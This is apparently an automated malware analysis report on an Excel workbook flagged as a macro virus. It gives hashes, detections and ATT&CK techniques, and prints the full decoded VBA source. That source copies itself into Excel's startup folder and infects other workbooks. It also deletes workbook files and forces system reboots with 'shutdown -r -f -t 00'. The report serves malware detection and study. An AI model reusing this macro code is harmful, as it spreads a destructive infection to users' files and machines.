Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 df75b0fdd08683f0…

MALICIOUS

Office (OLE)

68.0 KB Created: 2013-12-30 07:43:31 Authoring application: Microsoft Excel First seen: 2015-09-30
MD5: 9c5dd30856f708b3d3cf6fa1bcddb450 SHA-1: 0453148fa60a2223bb67a4c85f097febee277f54 SHA-256: df75b0fdd08683f03b42896062b6ecb18ca5c625e61cccbb0940744ed2e2dcad
156 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1497.001 System Checks: System Checks

The sample is an Excel file containing VBA macros. The `auto_open` macro attempts to copy the malicious workbook to the Excel startup path as 'SPECS.xls', establishing persistence. It also contains logic that can trigger a system shutdown/reboot using the command 'shutdown -r -f -t 00'. The `auto_close` macro also contains a similar shutdown command.

Heuristics 5

  • ClamAV: Xls.Virus.Shutdown-6922872-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Virus.Shutdown-6922872-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    If FileDateTime(Application.StartupPath & "\SPECS.xls") + 200 < Now Then Shell ("shutdown -r -f -t 00")
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub auto_close()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1883 bytes
SHA-256: 247f99119e3f9a7bab320590df043cd02a3e70da2a9996db2eb90601eedd092e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "SPECS"
Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
Application.EnableEvents = False
    For Each kil In Workbooks
    If kil.Name <> "SPECS.xls" And kil.Path = Application.StartupPath Then
    fn = kil.FullName
    kil.Close (False)
    Kill (fn)
    End If
    Next
Application.EnableEvents = True
Randomize
If ThisWorkbook.Path <> Application.StartupPath Then
    If Dir(Application.StartupPath & "\SPECS.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets(1).Copy
    nam = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks(nam).SaveAs (Application.StartupPath & "\SPECS.xls")
    End If
If Rnd() < 0.01 Then ThisWorkbook.Password = "joker"
Else
'att
If FileDateTime(Application.StartupPath & "\SPECS.xls") + 200 < Now Then Shell ("shutdown -r -f -t 00")
End If
Application.OnWindow = "cop"
Application.OnSheetActivate = "cop"
End Sub
Sub cop()
Attribute cop.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
Application.ScreenUpdating = False
Application.DisplayAlerts = False
For Each mo In ActiveWorkbook.Modules
If mo.Name <> "SPECS" Then mo.Delete
Next
If ActiveWorkbook.Sheets(1).Name <> "SPECS" Then
ThisWorkbook.Sheets(1).Copy ActiveWorkbook.Sheets(1)
If ActiveWorkbook.Path <> "" Then ActiveWorkbook.Save
End If
Application.OnSheetActivate = "cop"
End Sub

Sub auto_close()
Attribute auto_close.VB_ProcData.VB_Invoke_Func = " \n14"
If Rnd() < 0.01 Then Shell ("shutdown -r -f -t 00")
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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